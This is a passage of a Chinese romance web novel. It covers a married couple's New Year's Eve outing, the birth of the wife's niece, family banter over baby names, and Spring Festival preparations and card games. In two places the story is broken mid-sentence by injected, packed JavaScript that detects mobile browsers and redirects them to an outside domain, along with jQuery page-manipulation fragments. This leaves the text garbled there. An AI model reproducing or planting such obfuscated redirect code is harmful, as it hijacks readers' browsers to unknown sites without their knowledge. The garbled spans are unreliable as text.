吃完晚饭后,几人要出去,李妈有点担心,问:“那你们这几点回来啊?我给你们留门。”留门意思是不从里面反插上,用钥匙可以打开。 李固萱道:“我们得过了零点才回来呢。” “这么晚啊,那你们注意安全啊。” 李固言:“妈你放心吧,有我在呢,不会出什么事的。” “那行吧,那你们去吧。” 几个人换好鞋,又戴上围巾帽子出了门,姑嫂俩手挽着手走在前面,李固言拎着下午刚买的呲花在后面跟着,他看着差不多高的两个姑娘挤在一起走,时不时地说笑起来,唇角也开始不自觉地上扬。 本来三人是想打的去五一广场的,但也不知道是不是因为元旦的原因,出租车的生意太好,李固言在路边等了许久都没见一辆空车,几人无奈只能坐公交车过去,结果公交车上也是人挤人。 费尽辛苦,几人总算是到了地方。 五一广场今晚布置的十分具有节日氛围,连树上都缠了小彩灯,五颜六色地亮起,整个广场都多姿多彩起来。 今晚广场中心位置搭了一个高台,九点开始有节目表演,这时人群都往台子那边去了,舒英抬手看了眼时间,马上就九点了。 三个人都兴奋又好奇,这还是广场第一次这样搞,也不知道待会儿会表演什么,是不是跟春晚似的有唱歌有小品的。 不过他们来得晚,前排位置都被人占住了,也挤不进去,只能在外圈看,好在台子高,外面一点也能看见。 这个时间算起来也比较晚了,年纪大的熬不了夜都回去了,年纪小的家里人不让熬夜也回去了,所以除了极个别的,广场上剩的差不多都是些爱凑热闹的年轻人了。 九点整,台上换了灯光,表演开始了。 表演很精彩,大家都看得目不转睛,往常都是在电视上看节目,很少有机会能离得这么近。 人群喧闹,舒英觉得自己的袖管好像被人动了一下,下一秒,漏在外面的手就被握住,她下意识低头看,就看见自己的手被一直大掌完完全全包裹住,那只手火热有力,手背青筋微微泛起,彰显着他的力量感。 舒英抬头,李固言表情不变,眼睛紧盯着前方的台子,她笑了笑,在他手心的手动了动,转而与他十指相扣。 这下李固言也装不下去,有些惊讶地回望她,舒英挑眉笑了笑,眼波流转,映出缤纷色彩。 李固言直勾勾地盯着她,眼底是炙热的占有欲,他抿了下唇,喉头上下滚动,视线瞟到旁边的李固萱,无奈地又将头转回去看 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“二姐?”舒武茂看过来,又看到舒英旁边的李固言兄妹俩,问好道,“姐夫,姐。” 舒英看了眼站在他旁边有些腼腆的姑娘,有些意味深长地笑了笑:“不跟我们介绍一下吗?” 舒武茂瞬间红了脸,眼神飘忽,伸手指了指道:“这是我学校的……同事,习容。这是我二姐,二姐夫,姐夫妹妹,也叫姐。”李固萱比他大一岁,但因为他上的中专,所以先参加的工作。 舒英见习容有些羞涩,主动笑道:“你好,我是他二姐,你也叫我二姐吧。” 小姑娘低了低头,小脸羞得红扑扑的,连忙问好,舒英看到这一幕心下了然,道:“你们放烟花吗?我们这还有一些没放完的给你们玩吧。” 三个人心照不宣地将烟花递给二人后,就到了其他地方去玩。 李固萱走远了才敢好奇地回头看,挽着舒英问:“嫂子,那是弟弟的女朋友吗?” 舒英也跟着回头望了一下,离得远,只能看到一些身形轮廓,两个人之间隔得不近,动作拘谨地放着呲花,她笑笑:“现在应该还不是,未来是不是就说不好了。”这就要看她弟弟的本事了。 三人回头朝中央的台子走去,马上就要开始倒计时了。 他们朝前挤了挤,找了个位置站定,倒计时开始,广场上的众人都停下手中动作,齐齐跟着喊:“十!九!……” 李固言看向旁边的舒英,她正专注地盯着前方,这时烟花冲天绽放,她晶莹圆润的瞳孔中倒映出绚丽色彩。 倒计时还在继续:“五!四!……” 李固言搂着她,手贴在她腰间,在最后时刻低下头,快速地在她侧脸上印下一吻。 温润触感经过面部神经传来,舒英下意识扭头,唇角刚好擦过他柔软的唇,头顶烟花接连绽放,她略有些失神地盯着他,好像陷进了他的眼神漩涡中。 “元旦快乐!” “九十年代快乐!” 17. 第 17 章 从广场回家,在公婆家住了一晚上后,第二天晌午吃完饭两人就回了机械厂家属院。 李固萱也要回去省城上学了,走前李妈给她收拾行李,手上利索的装东西,嘴里还念念叨叨的不停:“元旦过完了,你这回去也上不了几天学就又放寒假了,这段时间天冷,自己在那边照顾好自己。” 李固萱坐在床边吃苹果,边吃边笑:“妈,你放心吧,我都这么大人了,你猜昨天晚上我跟哥嫂子在五一广场碰见谁了?” “谁?”李妈又出去拿了自己腌的小咸菜,特地装在一个小罐子里放在她行李箱中,好带。 “嫂子弟弟。”李固萱道,“他比我还小一岁呢,我记得没错的话,他不是去年从师专毕业吗?现在在他家附近的一所小学当老师。” 李妈点点头:“对,他70年的,是比你小一岁。” 李固萱继续说:“昨天我们在广场玩,正好瞧见他带了一个女生也在那边溜达,估计是要谈朋友了,你说比我小一岁的都谈朋友要成家了,我也成大人了。”说着还有些感慨。 “就你这样子还大人呢,天天一副小孩样。”李妈瞥她一眼,又道,“妈跟你说,你们现在大学不比你哥那时候管得严,你要是想谈朋友,妈也不反对,但你可不能谈外地的,必须是咱安城的,最好就咱们这一片的,我可舍不得你嫁远了去。” 说起婚嫁,李固萱有些脸红,嗔道:“哎呀,这还早呢!” 李妈将收拾好的行李拉链拉上,坐下聊天,“要说你嫂子一家也蛮好,找的都是本地人,离家近。” 李固萱将头靠在她肩膀上,觑了一眼她的表情,试探道:“妈,我怎么觉得你不怎么喜欢我嫂子呢?” 李妈低头看着她,撇嘴说:“我喜不喜欢有什么用,我都没见上面呢,人家就扯好证了。当初说相亲,我寻思着就是两人见一面,好不好的也带回来让我见见,谁知道那么快就敲下来了。” “那时候不是特殊嘛。”李固萱眨眨眼,“我哥那时候单位分房,房子不等人你又不是不知道,而且当时幸好我哥动作快,要不然你看现在分房多困难。” 李妈这下笑了,“哎,其实你嫂子人也不错,就是条件差了点,你说你哥是咱家第一个大学生,这都是光宗耀祖的事,我不是也想让你哥能找个更好的吗?当初我们厂长的女儿跟你哥年龄差不多……” “好了好了好了!”李固萱连忙打断她,“那都是没影儿的事,人家是看上我哥了,问题是我哥没看上她呀,而且人家厂长女儿也那么优秀,也是大学生,家庭条件还那么好,从小家里就电冰箱电视机的,她要是真嫁过来了,你还真不一定乐意。” 李妈张了张嘴,李固萱继续道:“而且日子是哥跟嫂子过的,你要是一直不喜欢嫂子,那哥夹在你跟嫂子,日子不也难过吗?” “你还教训起我来了。”李妈笑起来,用手点了点她额头。 李固萱俏皮地吐了吐舌头,恭维道:“不过呢,我妈是个通情达理的人,就算不喜欢儿媳妇,也不会去故意欺负她,比有些恶婆婆可好多了,以后我要是嫁人呢,要是遇上您这样的婆婆,我肯定是满意的。” 李妈撇嘴笑着,斜眼看着她,眼里都是疼爱,但她这番话也的确是让她有些反思,小女儿要是遇上她这种婆婆,就凭着她这天真的性子,日子过得还真不一定满意。 她叹了口气,保证道:“行!以后我见了你嫂子肯定客客气气的行了吧?” “妈你最好了!”李固萱抱着她的胳膊撒娇道,昨天嫂子来的时候,送了一支口红,她妈明明挺喜欢,但因为是嫂子送的,就各种不满意,生活要一直这样下去,肯定是不行的。 …… 元旦过后,李固言车间的副主任就正式换成了陆工,他轻叹了口气,再熬一熬吧,他还年轻。 这天,正临近下班的点,单位里一个电话响起:“舒英!你家里的电话!” 舒英将手里的东西递给小胡,疑惑着过去接电话,一般来说家里人如果有事要找她,肯定都是等她下班后打家属院那边的电话,不会往单位里打,除非有什么急事。 舒英心念一动,脚步匆忙,今天一月十七号了,该不会是她姐生了吧? 她赶紧拿起电话:“喂?我是舒英!” “二姐!”是舒武茂的声音,“姐你现在快来一院妇产科,大姐要生了!”他的声音也透着一股子急促,电话那边背景音嘈杂,他说完这句话后就赶紧挂了。 舒英皱皱眉,她姐的预产期还有一个多星期呢,所以最近还在家待产,就说等这两天就去医院住着,没想到现在发动了,那估计现在正赶忙往医院里送。 她姐这次第一回生孩子,她也有些担心,给李固言打了个电话后就往更衣室走,边走边解扣子,小胡看到她上来问:“姐,你这是怎么了?” 舒英一抬头看到她,道:“正好你过来,你待会儿跟她们说一声,我家里有事我先走了,剩下的那点事情,你帮我处理一下。” 小胡看她这样子连忙点头:“姐,那你路上小心啊。” 舒英点点头,白大褂都来不及叠,拿了东西后直接朝柜子里塞,锁上柜门就走。 打的去的一院,急匆匆地跑到手术室门口,门口围了一堆人,舒家的、严家的,全都跟热锅上的蚂蚁似的,急得团团转。 舒妈倚靠在舒武茂身上,手还在颤抖,舒英赶紧上前,小声问道:“姐进去多久了?” 舒妈眼里已经泛起了泪花,话都说不清了,舒武茂道:“一个多小时了,说在家的时候跟姐夫生气,动了胎气,妈买菜回去见状不好,连忙打电话送医院来了。” 舒英皱眉,怪不得手术室门口气氛这么奇怪,她扭头去看蹲在墙角的严磊,哭得一把鼻涕一把泪,她不由怒上心头,上前去问:“我姐都要生了,你怎么还能惹她生气?!你不知道有多危险吗!” 严磊抬头,颤抖着声音说:“我、我没想惹她生 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她们姐俩就差了两岁,差的不多,就容易磨牙,每天都有各种各样的新矛盾,但舒秀珍毕竟大一点,性子也强势一点,所以她从来没在她那讨得好,一直被欺负。 可舒秀珍欺负她,却也心疼她保护她,她要是得了什么好东西,总能想到她这个妹妹,别人送个饼干她都记得留一半给她。 那时班里有个男生一直欺负她,拽她的辫子,在她衣服上撒灰,就是舒秀珍替她出的头,将那个男生打得哇哇叫,再也不敢在她面前晃。但她也负了伤,到现在胳膊上还有一道疤。 舒英不知道别的姐妹是什么样的,但她俩之间就是这样,在一起待时间久了就互相嫌弃,舒秀珍还会抢她的东西,可分开久了又互相想念,有点什么东西都念着对方。 舒英现在还记得舒秀珍出嫁那天,她在房间里哭得双眼红肿。 手术室大门紧闭,上方“手术中”三个字眼的灯亮着紧急的红光。 舒英不敢往坏了去想,她现在只能盼望着她姐能平安,哪怕孩子有事,只要她姐没事就行。 就在这时,“手术中”的灯突然熄灭,有些疲倦的医生从里面出来,大家立马围上去,七嘴八舌地问:“怎么样怎么样?” 女医生眉眼间都是疲惫,仍牵起嘴角笑道:“母女平安,待会儿会被送到病房。” 众人皆松一口气,“平安就好,平安就好。” 舒妈神经一直紧绷,猛一放松下来,还有些撑不住,幸亏舒武茂一直搀着她。 舒英腿也有些软,搭着李固言的胳膊冲他笑了笑,小脸终于是恢复了些血色。 李固言扶着她到旁边坐下,蹲在她前面道:“你先在这休息一会儿,姐刚生完孩子肯定也累了,事发突然,也没预先准备吃的,我现在出去买点东西,给大家垫垫肚子。” 严家妈妈听到这话赶忙道:“我跟你一起去,我现在就回去给秀珍熬点鸡汤过来。” 18. 第 18 章 舒英和李固言直折腾到很晚才回到机械厂,匆匆洗漱后各自睡去。 第二天舒英请了一天假,吃过早饭就到一院看望舒秀珍。 到病房的时候,舒秀珍也才刚醒,小婴儿闭着眼趴在她胸前,小嘴一努一努地吮吸着。 舒妈坐在床头,一脸笑意地看着自己的小外孙女,她和严磊陪了一夜床。 舒英拎着两罐奶粉进来,轻轻放在床头柜上,弯下腰看了看小婴儿,才轻笑着对舒秀珍道:“长得像姐。” 舒妈赞同地点头,“跟秀珍刚出生的时候一摸一样的,那时候你也是就这样趴在我怀里喝奶,小眼睛闭着小脸儿鼓着,可把你爸稀罕坏了,一个不错眼儿地就盯着你瞧。” 舒秀珍笑了笑,伸手掖了掖女儿脸边的小被角,也是怎么看怎么喜欢。 这时候严爸严妈拎着保温桶抱着高压锅进来,见几人都在,道:“我一早起来煮了小米粥,还熬了猪蹄汤。” 舒妈一边在病床上摆小桌子一边恭维笑道:“亲家母的手艺可是没话说,盖儿一拧开就闻到香味了。” 小米粥煮得浓稠,黄澄澄的,猪蹄汤呈奶白色,猪蹄躺在锅底又软又烂,一看就没少费功夫。 小婴儿吃饱了奶水,在一旁的婴儿床上满足的酣睡着,小嘴巴还不时地砸巴着。 舒英看了笑问:“想好取什么名字了吗?” 舒秀珍小口喝着汤,望了一眼旁边的女儿,回道:“小名想好了,叫贝贝,大名还没起好。” “贝贝。”舒英念了一声,“宝贝的贝?” 严磊点头,脸上带笑:“宝贝的贝,以后她就是我们家最重要的宝贝,我大名也想了一个叫‘明珠’,掌上明珠的意思,正好和‘宝贝’呼应了,你姐嫌难听不让叫。” 舒秀珍嫌弃地看他一眼,对着妹妹说:“明珠不难听,但严明珠严明珠,读着拗口得很。” 舒英不动声色地瞧着两人的脸色,知道他俩昨天估计也就像严磊说的是拌了两句嘴,要不然以舒秀珍的脾气对他肯定不会是这个态度,她笑了笑,“不急,现在有了小名,大名再仔细琢磨琢磨。” 严爸伸手在口袋里掏了掏,拿出来一个小本子道:“我给想了几个名字,你们看看行不行?” 严妈在旁边笑,伸出手指隔空点了点:“这老东西昨天熬到大半夜,兴奋地一直翻字典。” 舒英瞧着,严爸似有些不好意思似的,皱巴巴的脸一红。 严爸轻咳一声,将本子摊开放到舒秀珍前面,几个人都围上去看了看。 打眼一看,倒写了两页的名字,再仔细一看:严红梅,严桂英,严晓兰…… 众人:…… 严磊起身把睁眼的女儿抱怀里,轻轻晃了晃,嘴里哦哦呦呦地哄着,远离孩子爷爷的取名大计中。 舒秀珍舔了下嘴唇,也有些尴尬,想要拒绝但迎着公公期待的眼神,一时竟有些不知道该说些什么。 严爸没察觉到他们的想法,犹自激动着,手指点在自己想的那些名字上,解释说:“你们看,贝贝生在冬天,冬天红梅傲雪绽放,最是坚韧不屈、不畏艰险,严红梅严红梅,又顺口又有意义。” 就在舒秀珍不知道怎么开口时,查房的护士进来了。 护士笑呵呵地问着情况,舒秀珍在回答的时候也深感松了一口气,她才不要给贝贝取什么严红梅,否则她宁愿让她叫严明珠。 小护士刚出去没多久,又进来一人,带着护士帽,走路带风,语速也快,是李固言大姐李固萍,这家医院的护士长。 “我今天早上上班才听同事说秀珍生了女儿,忙完就赶紧过来看看。” 一院的医疗水平是安城最好的,舒秀珍在一院的各种检查,李固萍前前后后都帮着跟各个医生打了招呼。 舒妈一看见她就连忙搬椅子要拉着人坐下。 李固萍摆摆手:“不坐了,我就过来看看,待会儿还得去忙呢。”说完走过去看了眼小家伙,手指在鼻头上轻轻点了点,对着舒妈笑道,“您这刚做了姥姥,再过不久,又要做奶奶了。” 王梅前不久刚查出来又怀了,舒妈也是高兴得很。 李固萍刚说没两句话,就有小护士找过来,急匆匆地就出了病房。 打了这么一个岔子,倒是顺利把贝贝取名的事略过去了。 …… 要不了几天也就要过年了,舒英和李固言买了一堆年货回来,过完年走亲戚要送礼,邻里邻居来家里串门也要拿水果小吃招待。 舒英看着家里买回来的东西,成箱的牛奶方便面,橘子苹果、花生瓜子,整齐地摆在外间,光是瞧着就觉得热闹。 李固言穿着一件灰色的毛衣,袖子上挽,漏出一截有力的小臂,他手上拿着刚洗好的苹果递给舒英,指尖还在滴水。 舒英“咔擦”咬了一口苹果,脆生生的,汁多肉甜。 舒英:“你今年除夕要加班吗?” “不用。”李固言有些不自在的摸了摸耳朵。 他前两年过年还加班难免有因为跟她闹别扭的缘故。 舒英点头,倒是没想那么多,毕竟就她知道的,他结婚前也没少在过年的时候加班,前段时间又因为升职的事有些不愉快,今年除夕不想加班也就更正常了。 “那你们今年能放几天假?” “跟往年一样,除夕到初三一共四天,外地的要回老家能多放几天。” 两人正闲聊着,外面响起几声小狗叫。 舒英笑起来,一听就是隔壁吴家姐弟俩又牵着狗遛呢,她俩刚放了寒假,这几天正是自在的时候。 “现在想想,还是小孩子无忧无虑的快乐呀。” 李固言听到这话轻轻抿了下唇,想起童年的时光,他并不觉得自己那时候无忧无虑。 这时候天已经黑透了,路灯并着各家各户的灯亮起,暖黄的光驱散了一片冷寂的寒冬。 舒英听着外面的热闹,心念一动,穿上棉袄推开门出去。 “阿姨!”吴晓丽看到她热情地打了声招呼,旁边的吴晓明也跟着喊了声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14745931|157456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒英看着他们,脸上笑盈盈的,“这么晚了还在外面,冷不冷?” 吴晓丽摇摇头,“我们刚刚跟汪汪玩呢,跑了好几圈,一点都不冷。”汪汪就是他们家养的那条狗,从乡下抱过来的,又乖又聪明,家属院里不知道多少小孩都眼热着也想要养狗呢。 这时候吴嫂子也从屋里出来,爽朗笑着对舒英道,“听见你的声音我就出来了。”而后视线后移,看到她身后的李固言,诧异一瞬后恢复如常,笑道,“李工今天没加班啊。” 李固言笑笑点头:“没。” 吴嫂子赶紧将端出来的蚕豆送到两人手前:“尝尝,我今天刚买的,嚼着特别香。” 舒英抓了一小把分给李固言一半,吴嫂子见她就拿了一点,拉过她的手又往她手心里倒了点,“哎呀别客气,我买了好多呢。”说完还给李固言又递了点。 她盛情难却,舒英拗不过,便笑着收下,剥开壳将蚕豆放进嘴里,嚼了两口不住点头称道:“是好吃。” 吴晓明听到这话扒着吴嫂子的手也要抓一把蚕豆,吴嫂子皱皱眉,十分嫌弃地将剩下的都给了他:“跟你姐你俩一块儿吃,吃一下午了,小心上火!” 吴晓明吐吐舌头做了个鬼脸,转身跑了,也没给吴晓丽分。 吴嫂子看他那样就来气,冲他的背影皱着眉翻了个白眼后对吴晓丽道:“屋里桌子上还有,你去抓着吃。” 说完扭头看向笑着的舒英,食指虚虚点了点吴晓明跑走的方向,又头疼又无奈道:“你说说就这样的,我一天打他八顿都不够!” 这个年级的小男孩就是猫嫌狗厌的,舒英笑着劝慰道:“没事,再大点就懂事了。” 吴嫂子看了眼旁边的李固言又看了看她的肚子,促狭笑道:“你和李工这性格,以后你俩的孩子肯定好带。” 舒英笑了笑没说话。 李固言闻言微微转头看了舒英一眼,若有所思。 几人在外面聊了会儿天,都觉得有些冷了,跺了跺脚各自进屋。 李固言摸了摸舒英的手,有些冰凉,连忙灌了一袋热水袋塞给她,又倒了热水给她泡脚。 舒英双手抱着热水袋,脚趾在热水中动了动,她抬起头对他眉眼弯弯地笑着,唇角上扬,猫儿似的歪了歪头道:“谢谢。” 李固言看着她,她双脚浸在热水里,裤腿上挽,漏出纤细白皙的小腿,流畅的曲线向上蜿蜒,引起无限遐思,他喉咙干涩,一时间竟有些找不到自己的声音,良久后才低声道:“不用谢。” 洗漱过后,舒英坐在被窝里打了个哈欠,看李固言不知疲倦似的忙前忙后。 在卧室泡脚难免会把水洒到地面上,李固言倒完洗脚水,就拿着拖把地面拖了个干净,先湿着拖一遍,再干着拖两遍。 等他将拖把洗好放好,再进房间就看见舒英整个人被被子包围着,眉眼松弛,睡得正香。 李固言看着她恬静的睡脸,心里软得一塌糊涂,他轻笑着用手背在她脸颊上蹭了蹭,随后关灯上床,紧紧将人圈在怀里。 19. 第 19 章 期待了许久的过年终于是到了,舒英一早起床看着外面的雪,忍不住搓了搓手,今天零下七八度,真是够冷的,窗户上结的都是霜花。 今年李固言过年不值班,那一早起来收拾收拾就得去李家,在李家过个年,初二回娘家,初二晚上再回来。 忙忙碌碌的,一个年实际上也就只能初三休息一天。 舒英从柜子里把两件红毛衣拿出来,早就织好的,一直没穿,就等着今天呢。 李固言换好毛衣,爱惜地摸了摸,念了这么久,总算是上身了。 舒英对着镜子照了照,在嘴唇上涂了大红色的口红,又戴了一对晶莹圆润的珍珠耳钉。 李固言在旁边看着她,她是很少涂这么艳丽的颜色的,但她皮肤白皙,一白一红,倒衬得她更加娇丽,直看得他有些错不开眼。 舒英将自己打扮好后,扭头看了他一眼,拿起旁边的摩丝冲着他招手,“你过来坐这。” 李固言虽然不明白她要做什么,但还是乖乖上前坐下。 他在房间里没穿棉袄,一件鲜红的红毛衣正正好好地套在他身上,宽阔的肩膀,修长的脖颈,俊美非常。 舒英一手端着他的脸仔细打量着,另一只手在他头发上喷上摩丝,捯饬了两下,弄出了个形状来,她喷摩丝的时候,李固言顺从地闭上眼,但眼皮却不安地动了动,倒是一副人畜无害的模样。 舒英弄好后道:“你看看怎么样。” 李固言转过去面朝镜子晃了晃脑袋,抿唇笑了下,透过镜子看向舒英说:“好看。” “你喜欢就行。”舒英把棉袄围巾手套都拿过来,“今天也不知道好不好招出租车,要是招不到出租就只能坐公交车了。” 今天除夕,她又打扮了一通,不太想挤人挨人的公交。 两人今天倒是运气好,刚出机械厂就在大路上拦到一辆空车,两人上车后,舒英靠着李固言肩膀轻松了一口气。 李固言握着她的手揉了揉,舒英体寒,一到冬天就容易手脚冰凉。 到李家的时候,李家大门敞开着,门庭若市,进进出出的都是人,手里还拿着长长的红纸。 李爸是语文老师,写得一手好毛笔字,所以一到过年,邻里邻居的就都找他来写几副春联。 在门口的人看到他俩,热情地笑起来,“固言跟固言媳妇儿回来啦?” “固言媳妇儿长得真俊啊,跟电影明星似的。” 李固言跟众人笑着点点头,算是问好,随后侧着身牵着舒英从旁边挤进去,舒英不认识她们,就跟着李固言一块儿冲她们笑着点头。 李妈和李固萱听见动静,连忙从屋里出来迎接,李固萱笑道:“哥,嫂子,你们可回来了,早上刚起床,妈就开始念叨你们什么时候到。” 李妈接过两人手里拎的东西,放到里屋,客厅里人来人往,别一个没看见被谁顺走了。 她放好东西出来就听见闺女这话,笑道:“这么久没见,你还不许我念叨两声了?” 围在李爸旁边的邻居跟着打趣:“固言可是你妈的心头肉,就念叨两句可算是少的!” 谁知李固萱听到这话哼了一声,挽着李妈的胳膊将脑袋靠上去,“我也是妈妈的心头肉!” 房间里的人都笑起来,一片喜气洋洋,李妈轻轻推了她一下,语气宠溺:“你啊,都这么大了说这话也不嫌羞。” 临近中午,来讨春联的人才算是慢慢减少。 李爸写完最后一副春联后,放下毛笔,转了转有些酸涩的手腕,对李固言笑道:“你这也不知道多久没写过毛笔字了,过来练两手,今年咱家的春联就都交给你写了。” 李固言将刚剥好的橘子放舒英手里,边挽袖子边朝方桌那边走过去。 李固言有段时间没碰过毛笔了,这一下拿起来还真有些手生,他先在报纸上练了练,熟练后才正式在春联上写。 舒英知道他毛笔字写得好,但没见过,算起来,这还是第一次见,舒英在旁边看着他,他站在书桌后面,手指松弛地握着笔杆,手腕灵活扭动,在红纸上游刃有余地挥洒笔墨,薄唇轻抿,神情专注,身上那股不苟言笑的气质又涌出来,格外吸引人。 红色的毛衣和春联相互映衬,一片欢乐祥和。 李固言多写了好几副,这边的贴完等回机械厂的时候把那边的也得贴上。 临近傍晚,家家户户都亮起灯,热烈的氛围笼罩在城市半空。 楼上楼下的邻居都在准备年夜饭,气味扑鼻香。 李妈也在厨房炸丸子,舒英边跟她聊天边打下手。 丸子下进锅里,在热油的烹炸下变成金黄色,发出“兹拉兹拉”的声响。 李妈看着锅里沉沉浮浮的丸子,用不锈钢大漏勺舀出来放到旁边篮子里晾着。 李固萱闻到味儿,不知道从哪窜出来,老鼠偷油一样捻了一颗丸子放嘴里,被烫得吱哇乱叫。 李妈瞧见免不得又要数落她:“吃这么急干嘛,不能等凉了再吃嘛?” “热着好吃嘛!”李固萱嘿嘿笑,还要献宝似的在捏一颗放李妈嘴里,“尝尝,可好吃了!” 李妈咬了一口嚼着:“废话,我自己炸的,我还能不知道好吃吗。” 舒英瞧着母女俩打嘴仗,在一旁直笑,李固萱喂完了李妈又拿了一颗过来喂她,“嫂子尝尝,不是我吹,咱妈炸丸子手艺一流!比外面卖的还好吃。” 丸子微微冷了点,没那么烫了,吃进嘴里温度正好,嚼起来绵软有韧劲,舒英咽下去笑着恭维:“你哥经常说妈炸的丸子好吃,说你们小时候一放学就喜欢去厨房偷丸子吃。” 以前炸一次东西不容易,要费好多油,还得有时间才行,所以一般家里炸丸子都是一次性做上一大篮子,油炸过的东西也能放久,就慢慢吃。 李固萱想起小时候的事,脸上笑乎乎的:“那时候家里不像现在,小孩也没什么零食吃,家里要是炸了丸子、馓子,大人存起来,我们就偷摸吃,一次也不敢吃多,怕被发现,又得挨骂。” 李妈听到这话眼睛一瞪,笑道:“好啊,我说怎么以前家里丸子没得那么快,每次做好我算能吃一个月的,结果半个月就见底了,原来是被你们几个给偷吃了。” 一篮子丸子就那么多,少了,家里大人怎么可能不知道,还不是因为心疼他们几个吃不好,当作没看见。 而且说实话,丸子刚炸出来的时候才好吃,后面为了能存久点,都要给风干一下,那时候吃起来干巴巴的,口感还渣。 这时候李固言听到笑声过来问:“说什么呢?笑得这么开心。” 舒英:“说你小时候偷丸子吃呢! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14761678|157456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 长大后再回忆起小时候的一些糗事,连当时的慌张都觉得有趣。 这时候外面响起鞭炮声,这是这边的习俗了,除夕的晚饭开始到初一的晚饭,饭前都要放炮。 李家的年夜饭也做好了,李爸和李固言在楼下空地上放鞭炮,鞭炮响完后就有小孩围上来捡有些没炸的小炮。 李爸见状,不放心的叮嘱一句后才上楼。 李妈听见楼下小孩的热闹声感叹道:“咱家人还是有点少,这要是小孩多一点不知道得多热闹。”说完看了李固言和舒英一眼。 他们俩这都结婚两年多了也不见个动静。 李固言听明白她话下的意思,转了话题笑道:“春晚估计快播了,不知道今年有什么小品。” 李妈哪能不知道儿子是在堵她的嘴,算了算了,今天过年,她也不想跟他多说。 吃完饭后,李爸李妈熬不了夜,早早就睡了。 外面天冷,几个小的也不想出去吹风,李固萱不知道从哪翻出来一副扑克牌提议说:“咱三个打牌吧,正好可以玩斗地主。” 这时候电视上春晚正播到一首歌,悠扬的旋律响起:“好大一棵树,绿色的祝福……” 李固萱眼珠子转了转狡黠道:“光打牌也没什么意思,总得赌点什么才有趣,这样,熟的人被弹脑瓜崩吧。” “李固萱。”李固言看了她一眼。 李固萱瞧着他那样,撇起嘴哼了一声,转头去拉拢舒英:“嫂子,你说行不行?” 舒英温和地点头同意:“挺好的,就弹脑瓜崩。” 舒英发话,李固言不能拒绝,无奈说:“她手劲可大了。” 这话听起来像是有故事,舒英笑着看了眼李固言,没说什么。 李固萱得了嫂子的旨可是得意的不行,洗着牌对她保证道:“嫂子你放心,我肯定轻轻弹你,超级轻超级轻。” 言外之意,对李固言可是要下狠手的。 李固言对她的威胁很是不以为然,斜睨了她一眼后起牌。 第一局李固萱就抽到了地主。 “2!”李固萱将牌甩出去,手里捏着仅剩的一张牌,眼里都是对即将胜利的激动。 李固言面色不改,“四个三。” 李固萱瞬时瞪大了双眼,不可置信地将四张牌翻来覆去地看,最小的一个炸子捏住了她,她眯着眼打量他手中牌数。 李固言淡淡道:“别数了,还剩五张。” 李固萱皮笑肉不笑:“不要。” 这下换李固言笑起来:“三带二。” 李固萱哀嚎一声,捂住自己额头,万万想不到临门一脚了,自己竟然输了。 被弹之后,她实在有些不甘心,揉了揉发痛的脑门,暗暗冲舒英使了个眼神,既然如此,那就别怪她要使一些小手段了! 舒英接收到她的信号,脸上表情不变,手上悄悄动作,把牌从桌子底下递过去。 三个人打了一晚上,《难忘今宵》唱完之后才算是结束。 临睡前,李固言额头通红一片,有些委屈地对舒英道:“我都看见了,你给她递牌。” “哪有。”舒英不承认,但迎着他颇为幽怨的眼神,也忍不住笑出声,问道,“还疼吗?” “疼。” “我帮你揉揉。” 20. 第 20 章 大年初一,舒英是被鞭炮声吵醒的。 外面天还没亮,楼下就已经“劈里啪啦”地响起炮声了。 “醒了?”李固言见她睁眼抬手将房间里的灯拉开。 “嗯。”舒英眨眨眼,打了个呵欠,脑子还不太清醒。 李固言看她睡眼惺忪,忍不住笑了笑,长臂一伸去够椅子上的棉袄,从袄兜里掏了一个盒子出来递给她。 “什么东西?”舒英迷迷糊糊地接过盒子,暗红色的丝绒盒,盒子最中间印着鎏金的金店品牌名。 李固言没回她这个问题,只道:“你打开看看。” 舒英瞧了他一眼,把另一只手也从被子里伸出来,拇指反方向用力,将丝绒盒打开,是一条金项链,金子的光辉在室内灯光的照耀下更显流光溢彩。 李固言一直观察着她的表情,心里有些忐忑地问道:“你喜欢吗?” “你什么时候买的?”舒英将项链从盒子里拿出来,放在手心仔细欣赏,这是一条细链,中间穿了一个环形的金子平安扣,坠子微微有些哑光,很有质感,很漂亮。 李固言瞧她神色不像是不喜欢,稍稍放下心,老实回答:“前天下班去买的,你喜欢吗?” 舒英垂下眼,轻轻点头,“喜欢。”随后她从床上坐起来,把长发捋到胸前,将项链放他手里说,“你帮我戴上。” 昏黄的灯光照在她细腻的脖颈处,李固言喉结滚动,长长的手指在她颈间游走,扣上项链锁扣,“好了。” 舒英接过他递过来的镜子,放在胸前照了照,硬币大小的平安扣正正好坠在锁骨下方,稍微有些冰凉地贴在肌肤上,很漂亮。 舒英镜子微微侧了侧,李固言坐在她身后看着她,眼神期待又宠溺,好似突然发现她在通过镜子看自己,有些不好意思地红了脸。 舒英笑起来,放下镜子,转过身扑进他怀里,贴着他炙热的胸膛,正好感受到他汹涌的心跳。 李固言不妨她的动作,双手还有些无措地悬停在空中,刚想动作就听她道:“谢谢你的新年礼物,我很喜欢,很喜欢很喜欢。”小时候家里孩子多,并不算富裕,过年就算是压岁钱都只是在枕下放一夜,更别提送礼物了。 这是她第一次收到意料之外的惊喜。 